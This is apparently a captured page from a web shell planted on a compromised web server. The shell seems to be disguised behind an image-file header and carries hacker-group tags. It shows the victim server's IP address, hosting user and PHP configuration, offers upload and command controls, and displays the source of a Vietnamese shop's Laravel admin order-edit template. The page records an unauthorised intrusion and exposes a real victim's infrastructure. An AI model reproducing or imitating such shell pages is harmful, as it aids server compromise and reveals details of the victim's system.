JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/public_html/resources/views/admin/orders/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/public_html/resources/views/admin/orders/edit.blade.php
@extends('admin.master')
@section('content')
@section('controller','Order Detail')
@section('action','Update')
<!-- Content Header (Page header) -->
<?php 
    use App\Products;
    use App\Prices;
    use App\Sizes;
    use App\Typematerials;
    use App\Materials;
    use App\Colors;
    use App\Embroiderys;
?>
<section class="content-header">
  <h1>
   	@yield('controller')
    <small>@yield('action')</small>
  </h1>
  <ol class="breadcrumb">
    <li><a href="admin"><i class="fa fa-dashboard"></i> Home</a></li>

    <li><a href="javascript:">@yield('controller')</a></li>

    <li class="active">@yield('action')</li>


  </ol>
</section>
<style type="text/css">
.form-cart{margin-bottom: 10px;    
    border-bottom: solid 1px #ddd;
    padding-bottom: 17px;}
.item-inner{
    display: flex;
    align-items: center;
    justify-content: center;
    height: 100%;
    border: 1px solid #28a745;
    border-radius: 10px;
    padding: 5px 10px;
}
.font-weight-bold {
    font-weight: bold;
}
#img-min img {
    max-width: 25px;
}
#muathem {
    font-size: 17px;
    padding: 12px 0px;
    color: #28a745;
}
</style>
<!-- Main content -->
<section class="content">

    <div class="box">
    	@include('admin.messages_error')
        <div class="box-body">

        	<form method="post" action="admin/orders/edit?id={{$id}}" enctype="multipart/form-data">
        		<input type="hidden" name="_token" value="{!! csrf_token() !!}" />
      			<div class="nav-tabs-custom">

	                <ul class="nav nav-tabs">
	                  	<li class="active"><a href="#tab_1" data-toggle="tab" aria-expanded="false">Thông tin đơn hàng</a></li>
	                </ul>
	                <div class="tab-content">
	                  	<div class="tab-pane active" id="tab_1">
	                  		<div class="row">
		                  		<div class="col-md-6 col-xs-12">
							    	<div class="form-group">
								      	<label for="ten">Họ tên</label>
								      	<input type="text" disabled id="txtName" value="{!! old('txtName', isset($data) ? $data->name : null) !!}"  class="form-control" />
									</div>
									<div class="form-group">
								      	<label for="txtTitle">Email</label>
								      	<input type="text"  disabled value="{!! old('txtEmail', isset($data) ? $data->email : null) !!}"  class="form-control" />
									</div>
									<div class="form-group">
								      	<label for="txtPhone">Điện thoại</label>
								      	<input type="text" disabled value="{!! old('txtPhone', isset($data) ? $data->phone : null) !!}"  class="form-control" />
									</div>
                                    <div class="form-group">
								      	<label for="txtAddress">Quận Huyện</label>
								      	<input type="text"  disabled value="{!! old('txtAddress', isset($data) ? $data->district : null) !!}"  class="form-control" />
									</div>

                                    <div class="form-group">
								      	<label for="txtAddress">Tỉnh/thành phố</label>
								      	<input type="text"  disabled value="{!! old('txtAddress', isset($data) ? $data->city : null) !!}"  class="form-control" />
									</div>

                                    <div class="form-group">
								      	<label for="txtAddress">Quốc Gia</label>
								      	<input type="text"  disabled value="{!! old('txtAddress', isset($data) ? $data->country : null) !!}"  class="form-control" />
									</div>

									<div class="form-group">
								      	<label for="txtAddress">Địa chỉ</label>
								      	<input type="text"  disabled value="{!! old('txtAddress', isset($data) ? $data->address : null) !!}"  class="form-control" />
									</div>



								</div>

								<div class="col-md-6 col-xs-12">
                        			<div class="form-group">
								      	<label for="ten">Tình trạng đơn hàng</label>
								      	<select name="status" class="form-control">
								      	<option value="1" <?php if($data->status==1) echo 'selected';?>>Mới đặt</option>
    								      		<option value="2" <?php if($data->status==2) echo 'selected';?>>Chờ xử lý</option>
    								      		<option value="3" <?php if($data->status==3) echo 'selected';?>>Đang giao</option>
    								      		<option value="4"<?php if($data->status==4) echo 'selected';?>>Đã xử lý xong</option>



								      	</select>







									</div>







									<div class="form-group">







								      	<label for="note">Ghi chú đơn hàng</label>

								      	<textarea name="txtNote" rows="5" class="form-control">{!! old('txtNote', isset($data) ? $data->note : null) !!}</textarea>

									</div>

								</div>



                                <div style="clear: both;"></div>



                            <div class="box-body">

					          <table id="" class="table table-bordered table-hover">
					            <thead>
					              <tr>
					                <th class="text-center with_dieuhuong">Stt</th>
					                <th>Tên sản phẩm</th>
                                    <th>Hình ảnh</th>
					                <th>Đơn giá</th>
					                <th>Số lượng</th>
					                <th>Tổng tiền</th>
					              </tr>
					            </thead>
					            <tbody>



                                    <?php $tongtien=0;?>



					              @foreach($orders as $k=>$item)
                                    
                                    <!---------------------------------->
                                    <?php
                                        $id_pro=array();$id_mate=array();$id_size=array();$id_color=array();$id_mautheu=array();$id_sale2018=array();
                                        $id_chatlieusale=array();$id_sizesale=array();$id_colorsale=array();
                                        
                                        $exp_pro=explode(',',$item->id_pro_combo);  
                                        $exp_chatlieu=explode(',',$item->chatlieu);  
                                        $exp_size=explode(',',$item->size);
                                        $exp_color=explode(',',$item->color);
                                        $exp_mautheu=explode(',',$item->mautheu);
                                        
                                        $exp_sale2018=explode(',',$item->sale2018);
                                        $exp_chatlieusale=explode(',',$item->chatlieusale);
                                        $exp_sizesale=explode(',',$item->sizesale);
                                        $exp_colorsale=explode(',',$item->colorsale);
                                        
                                        foreach($exp_pro as $item0){
                                            $id_pro[]=$item0;
                                        }
                                        foreach($exp_chatlieu as $item1){
                                            $id_mate[]=$item1;
                                        }
                                        foreach($exp_size as $item2){
                                            $id_size[]=$item2;
                                        }
                                        foreach($exp_color as $item3){
                                            $id_color[]=$item3;
                                        }
                                        foreach($exp_mautheu as $item4){
                                            $id_mautheu[]=$item4;
                                        }
                                        foreach($exp_sale2018 as $item5){
                                            $id_sale2018[]=$item5;
                                        }
                                        foreach($exp_chatlieusale as $item6){
                                            $id_chatlieusale[]=$item6;
                                        }
                                        foreach($exp_sizesale as $item7){
                                            $id_sizesale[]=$item7;
                                        }
                                        foreach($exp_colorsale as $item8){
                                            $id_colorsale[]=$item8;
                                        }
                                        
                                        @$product_parent=Products::select('sale','id','sao','name','name_eg')->whereIn('id',$id_pro)->where('status',1)->get();
                                                 
                                        @$product_sale=DB::table('sales')->select('name')->whereIn('id',$id_sale2018)->get();   
                                    ?>
                                    <!---------------------------------->
					              <tr>
					                <td class="text-center with_dieuhuong">{{$k+1}}</td>
					                <td>
						                <?php  
						                	@$product = DB::table('products')->select()->where('id', $item->id_product)->first();
						                ?>
						                {!! @$product->name !!}
					                </td>
                                    <td>
                                   <div class="row">
                                      <div class="col-md-2 col-xs-12">
                                        <img src="{{ asset('upload/product/'.@$product->photo) }}" style="max-width: 100px;max-height: 200px;"  alt="NO PHOTO" />
                                      </div>  


                                  <div class="col-md-10 col-xs-12">
                                   <?php 
                                    foreach($product_parent as $k=>$rows_pr){
                                    @$chatlieu=Materials::select('name','id')->where('id',$id_mate[$k])->first();  
                                    @$size=Sizes::select('name','id')->where('id',$id_size[$k])->first(); 
                                    @$color=Colors::select('images','id','name')->where('id',$id_color[$k])->first();
                                    @$mautheu=Embroiderys::select('images','id','price')->where('id',$id_mautheu[$k])->first();
                                    
                                   ?> 
                                   
                                     <div class="form-cart">
                                            <label class="font-weight-bold">{!! @$rows_pr->name !!}</label>
                                            <div class="row">
                                                <div class="col-md-3">
                                                    <span class="item-inner">{!! @$chatlieu->name !!}</span>
                                                </div>
                                                <div class="col-md-3">
                                                     <span class="item-inner">{!! @$size->name !!}</span>
                                                </div>
                                                <div class="col-md-3">
                                                    <span class="item-inner" id="img-min"><?php if(!empty($color)){ echo @$color->name;?> <?php } ?></span>
                                                </div>
                                                <div class="col-md-3">
                                                   <?php if(!empty($mautheu)){?> 
                                                    <span class="item-inner" id="img-min"><img class="ui mini avatar image" src="{{ asset('upload/embroidery/'.@$mautheu->images)}}"/></span>
                                                   <?php } ?>
                                                </div>
                                            </div>
                                            <div style="clear: both;"></div> 
                                      </div>
                                   <?php } ?> 
                                    <?php if(count($product_sale) > 0){?>
                                        <div class="col-md-12" id="muathem">Mua thêm sản phẩm khuyến mại</div>
                                            <?php 
                                                foreach($product_sale as $m=>$rows_pr_sale){
                                                @$chatlieu_sale=Materials::select('name','id')->where('id',$id_chatlieusale[$m])->first();  
                                                @$size_sale=Sizes::select('name','id')->where('id',$id_sizesale[$m])->first(); 
                                                @$color_sale=Colors::select('images','id','name')->where('id',$id_colorsale[$m])->first();    
                                            ?>
                                            <div class="form-cart">
                                                <label class="font-weight-bold">{!! @$rows_pr_sale->name !!}</label>
                                                <div class="row">
                                                    <div class="col-md-3">
                                                        <span class="item-inner">{!! @$chatlieu_sale->name !!}</span>
                                                    </div>
                                                    <div class="col-md-3">
                                                         <span class="item-inner">{!! @$size_sale->name !!}</span>
                                                    </div>
                                                    <div class="col-md-3">
                                                        <span class="item-inner" id="img-min"><?php if(!empty($color_sale)){ echo @$color_sale->name?> <?php } ?></span>
                                                    </div>
                                                  
                                                </div>
                                                <div style="clear: both;"></div> 
                                          </div>
                                          <?php } ?>
                                    <?php } ?>
                                    <!--- sp đơn -->
                                    <?php 
                                        @$chatlieu_don=Materials::select('name','id')->where('id',$item->chatlieu)->first();  
                                        @$size_don=Sizes::select('name','id')->where('id',$item->size)->first(); 
                                        @$color_don=Colors::select('images','id','name')->where('id',$item->color)->first();
                                        @$mautheu_don=Embroiderys::select('images','id','price')->where('id',$item->mautheu)->first();
                                        if(!empty($chatlieu_don)){
                                    ?>
                                        <div class="form-cart">
                                               <div class="row">
                                                    <div class="col-md-3">
                                                        <span class="item-inner">{!! @$chatlieu_don->name !!}</span>
                                                    </div>
                                                    <div class="col-md-3">
                                                         <span class="item-inner">{!! @$size_don->name !!}</span>
                                                    </div>
                                                    <div class="col-md-3">
                                                        <span class="item-inner" id="img-min"><?php if(!empty($color_don)){ echo @$color_don->name;?> <?php } ?></span>
                                                    </div>
                                                    <div class="col-md-3">
                                                       <?php if(!empty($mautheu_don)){?> 
                                                        <span class="item-inner" id="img-min"><img class="ui mini avatar image" src="{{ asset('upload/embroidery/'.@$mautheu_don->images)}}"/></span>
                                                       <?php } ?>
                                                    </div>
                                                </div>
                                                <div style="clear: both;"></div> 
                                          </div>
                                    <?php } ?>      
                                    <!-- End sp đơn -->
                                    </div>
                                    <!-------------- End thông số gói ------------->
                                     </div>
                                    </td>
                                    <td >
                                        <?php
                                            if($item->qty > 1){
                                                $price_qty=$item->totalprice/$item->qty; 
                                                echo number_format($price_qty);
                                            }else{
                                                echo number_format($item->totalprice);
                                            }
                                         ?>
                                    </td>
					                <td>{{@$item->qty}}</td>
					                <td>
                                        <?php 
                                         if($item->qty > 1){
                                            $price_qty=$price_qty*$item->qty; 
                                            echo number_format($price_qty);
                                        }else{
                                            $tong_order=$item->totalprice*$item->qty;
                                            echo number_format($tong_order);
                                        }   
                                         
                                        ?>
                                    </td>

					              </tr>

					              @endforeach

					            </tbody>

					          </table>

					        </div><!-- /.box-body -->


					        <div class="form-group" style="text-align: right;padding-right: 10px;">
					        	<h4>Tổng thành tiền: <b style="color: red;font-weight: 500;">{{ number_format($data->total,0,",",".") }} VNĐ</b></h4>
					        </div>

                                <div style="clear: both;"></div>
							</div>

							<div class="clearfix"></div>







	                  	</div><!-- /.tab-pane -->


	                </div><!-- /.tab-content -->


	            </div>

			    <div class="clearfix"></div>


			    <div class="box-footer col-md-12 row">


					<div class="col-md-6">







				    	<button type="submit" class="btn btn-primary">Cập nhật</button>







				    	<button type="button" onclick="javascript:window.location='admin/orders'" class="btn btn-danger">Thoát</button>







			    	</div>







			  	</div>







		    </form>







        </div><!-- /.box-body -->







    </div><!-- /box -->







    







</section><!-- /.content -->







@endsection()








Anon7 - 2022
AnonSec Team